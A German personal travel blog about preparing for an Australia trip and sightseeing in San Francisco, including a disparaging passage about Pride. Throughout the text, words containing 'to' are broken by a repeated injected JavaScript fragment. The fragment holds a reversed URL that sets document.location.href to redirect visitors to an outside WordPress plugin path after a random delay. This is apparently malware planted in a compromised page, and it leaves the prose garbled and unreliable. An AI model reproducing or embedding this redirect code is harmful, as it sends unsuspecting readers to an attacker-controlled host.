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eine Woche vorher

Eine Woche noch! Die nächsten sieben Tage werden wie im Flug umgehen. Dann geht die Reise los. Heute haben wir noch ein wenig trainiert, damit wir ein bisschen fitter für die anstrengende Zeit in Australien werden. Da hat sich der Radwandertag mehr als angeboten. Weil das Wetter auch recht gut war, haben wir uns auf unsere Räder geschwungen und sind zunächst einmal auf den Buttermarkt gefahren, um unsere obligatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torische Stempelkarte abzuholen. Es gilt ja ein Rad zu gewinnen. Die 25 km haben wir dann auch erfolgreich in 1:48h geschafft.Route_Radwandertag

Zwischenzeitlich habe ich dann auch noch eine Seite eingefügt, auf der ihr immer unsere aktuelle Position in Australien sehen könnt … wenn das Handy eingeschaltet ist und eine Verbindung zum Internet hat. Schaut einfach mal, wo wir uns gerade aufhalten! Interessante Strecken, wie oben die Strecke der Radtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour,  werden wir aber nochmal extra veröffentlichen.

Damit wir unsere Reise auch auf Video festhalten können, habe ich uns am Samstag noch eine Kamera bei eBay-Kleinanzeigen organisiert. Gerne hätte ich damit herum gespielt, Anja wollte aber lieber die Koffer zu Ende packen. So muss ich sie jetzt im Laufe der Woche ausprobieren, aber dann wird auch nicht viel Zeit dafür bleiben. Lea und Tim  müssen noch ihre Sachen packen, da die beiden den ersten Teil der Ferien bei meinen Eltern auf dem Campingplatz verbringen möchten. Und eine ToDo-Liste hab ich auch noch aus Kempen mit genommen.

Zuletzt muss ich meinen entfernten Verwandten Karl in Melbourne anschreiben, da wir uns mit ihm am 12. Juli treffen wollen. Karl und ich haben den selben Urgroßvater, er ist der Sohn von Charles, dem Bruder meiner Oma. Dahinter steckt eine interessante Familiengeschichte, die ich auch erst 2006 erfahren habe. Aber darüber können wir dann berichten, wenn wir Karl in Melbourne getroffen haben.

Es gilt also noch einiges zu organisieren, bis die Ferien beginnen …

 

Vorbereitungen

Anja schreibt:

Vor der Vorbereitung steht die Idee und die entwickelte sich ca. vor einem Jahr. Wir wollten eine Fernreise machen und ich wollte einfach nach Australien, keine Ahnung wieso eigentlich, und Sascha macht ja sowieso alles mit, wenn es ums Reisen geht. So stand ziemlich schnell das Reiseziel fest. Bevor es richtig los ging musste erst mal klar sein, wann dafür die Chance besteht. Da nur die Sommerferien von Saschas Seite gingen, musste ich nur noch meinen neuen Arbeitgeber ins Boot holen. Dies ging ohne Probleme! Danke! Also wurden im November die Flüge gebucht. Erst war der Plan noch, dass wir mit dem Autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to von Station zu Station fahren . Mit der Zeit kam uns die die Einsicht oder Erleuchtung zu campen ist die besser Lösung, damit wir nicht jeden Tag essen gehen und auch nicht die Klamotten ständig rein und raus schleppen müssen. Es stand fest: Australien und Abenteuer in einem (Ich war noch nie campen). Sascha recherchierte unserer Unterkunft auf vier Rädern und buchte nach Absegnung den Camper. Die Wahl fiel auf: Paradise (das Paradies mit Dusche und Mikrowelle)

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Unser Reisehotel

Es folgte langweiliger Kram wie Visa beantragen, Versicherungen abschließen, internationalen Führerschein besorgen. Hoffentlich muss ich nicht fahren! Die fahren da nämlich auf der falschen Seite und  Winter ist da ja auch im Sommer.

Parallel dazu haben wir fleißig Reiseführer gelesen, da wir genug Lesestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toff von Irene und Wolfgang hatten. Danke! Dadurch entstand nach und nach die Route.

 

Ein kleine Stadtrundfahrt

Gestern war es soweit. Ich hab mal mit dem Autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to eine kleine Stadtrundfahrt gemacht. Zunächst ging es zum Fishermen’s Wharf. Auf dem Weg dorthin habe ich dann die berühmten Cable Cars auf der Hyde Street live gesehen. Vom oberen Teil der Hyde Street hatte man sogar einen wunderbaren Blick auf das Hyde Pier und der direkt dahinter befindlichen Gefängnis-Insel Alcatraz. Glücklicherweise hat das Wetter mitgespielt, so dass ich die Fishermen’s Wharf zu Fuß erkunden konnte. Das Flair dort ist einfach nur atemberaubend und dennoch ist alles auf Tourismus getrimmt. Wer Geld vernichten möchte, ist dort am richtigen Platz. Interessant war auch, dass die Ami’s sogar Parkuhren haben, an denen man mit Kreditkarte bezahlen kann. Die sind doch toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}total durchgeknallt, was das betrifft. Danach habe ich mich auf zur Lombard Street gemacht, um für Carsten das heiß ersehnte Fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to von Herbies Rennstrecke zu machen. Die Straße ist seiner Zeit so angelegt worden, weil die Steigung so extrem steil war (über 29°), das Autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos dort nicht hoch fahren konnten. Mittlerweile ist das natürlich kein Problem mehr. Interessanterweise hat die Gough Street ein noch größere Steigung (ca 31°), ist aber so belassen worden, wie sie war. Dort werden immer mal wieder Stunts und Verfolgungsjagden gefilmt, da die Autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos dort so richtig abheben. Danach bin ich dann zu den Twin Peaks gefahren, wovon man einen absolut herrlichen Blick auf „The City“ hat. Übrigens die Einheimischen sagen nur „The City“, den Ausdruck „Frisco“ kennen sie garnicht. Der Ausblick war dann auch tatsächlich ein Wahnsinn. Von dort aus konnte ich Downtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town, die Vororte und die Golden Gate Bridge in ihrem typischen Nebel sehen. Um nicht völlig ausgehungert ins Kino zu gehen, habe ich mir noch ein Sushi-Restaurant in unmittelbarer Nähe der Twin Peaks gesucht und hab direkt einen Volltreffer gelandet. Dort habe ich das bisher beste Sushi in der ganzen Stadt gegessen. Dort hatte ich dann ein sehr interessante Unterhaltung mit zwei Damen mittleren Alters. Im Kino gab es dann Transformers – Dark side of the moon zu sehen. Wie immer war die Handlung absolut nicht wertvoll, aber die Spezialeffekte in 3D waren einfach grandios. Heute werde ich mich mit Amin treffen und von Palo Altoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to aus in den Yosemite-Park fahren. Bin schon toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}total gespannt wie es dort werden wird. Ich werden jedenfalls die Schwarzbären grüßen :).

Portola State Park

Wieder einmal nähert sich ein Tag dem Ende. Leider. 6 Stunden Fußmarsch liegen jetzt hinter mir, auf denen ich unglaublich viele Dinge sehen durfte. Leider spiegeln die Bilder nicht im geringsten wieder, wie sich der Nationalpark anfühlt. Ja, anfühlt!! Die Brise auf der Haupt, die Sonne im Gesicht, die wunderbaren Aussichten, die ich genießen durfte. Einfach nur unglaublich. Wenn man noch nie davor gestanden hat, dann glaubt man kaum, das es Bäume gibt, die größer als das Wuppertaler Sparkassengebäude sind. Am Ende meines ersten Trail habe ich das erste mal an den Tag überhaupt jemanden in dem Park gesehen (außer dem Park-Ranger am Eingang, der mir die Parkgebühren abgeknöpft hat).

Wieviele Kilometer es heute geworden sind, muss ich noch ausmessen. Es waren aber eindeutig mehr als 10 km. Bin mal gespannt, was das gibt. So genug geschrieben, jetzt dürft ihr auch Bilder schauen. Viel Spaß und bis bald.

So, leider kann ich das über Google-Maps bzw. OSM nicht ausmessen, da die Wege nicht eingezeichnet sind. Ich habe aber eine Karte gefunden, auf der fast die gesamte Strecke zu sehen ist. Leider fehlt ein Stück vom Anfang. Grob über den Daumen gepeilt müssen das so ca. 16 Meilen, also knapp 26 km, Plus-Minus einem Kilometer, gewesen sein.

Stern Grove Festival

Das Stern Grove Festival ist ein absoluter Geheimtipp. Der Tipp kam von meiner ersten Hosterin Maritza. Selbst einige Ansässige kennen das kostenlose lokale Festival, welches jeden Sonntag von 14 – 16 Uhr statt findet, nicht. Auf dem Festival treten sowohl lokal als auch bekannte Gruppen und Bands auf. Dieses Mal war das Jazz Mafia Symphony zu hören. Absolut toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toll. Ich habe noch nie gehört, wie man Hip-Hop, Rap, Jazz und Pop in einem Musik-Style vereinen kann. Wer kein Jazz-Fan ist, dem sei gesagt, probiert es einmal aus.

PRIDE am Civic Center

Hallo ihr lieben Liebenden,

ich habe mir gerade noch das Ende des heutigen gayPRIDE angeschaut und muß mal in aller Deutlichkeit sagen, dass ist nicht meine Welt!!! Auch wenn morgen Lady Gaga und die Backstreet Boys auftreten und der Eintritt bei 5$ liegt. NEIN, DANKE. Da laufen die Männer teilweise mit blanken Gehänge herum. Dann noch offensichtlich homosexuelle Akte auf der Straße live anzudeuten (wohlgemerkt NACKT), war mir einfach zuviel. So viel Offenheit habe ich nun nicht erwartet.

Liebe Liebenden, nennt mich ruhig konservativ, aber auf der Straße hat die Hose anzubleiben. Punkt. Aus. Ende. Trotzdem sollt ihr die 2 oder 3 Fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos zu sehen bekommen. Nacktfotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos hab ich natürlich keine gemacht, auch wenn der ein- oder andere sich jetzt vielleicht gefreut hat.

Nachdem ich wieder in der Wohnung von Maritza (meinem Couchsurfing-Host) angekommen bin, hab ich mich mal daran gemacht, die heute absolvierte Strecke auszumessen. Es sind doch sage und schreibe knapp 25 km geworden, die ich heute zu Fuß zurück gelegt habe. Kein Wunder, das mir die Füße jetzt ein wenig weh tun. Hier ist ein Link zur Karte mit der Strecke.

Ach ja, zwischen durch war ich auch noch in der Kirche. Wie alles hier in Amerika ist diese Kirche auch riesig. So nun aber viel Spaß beim stöbern.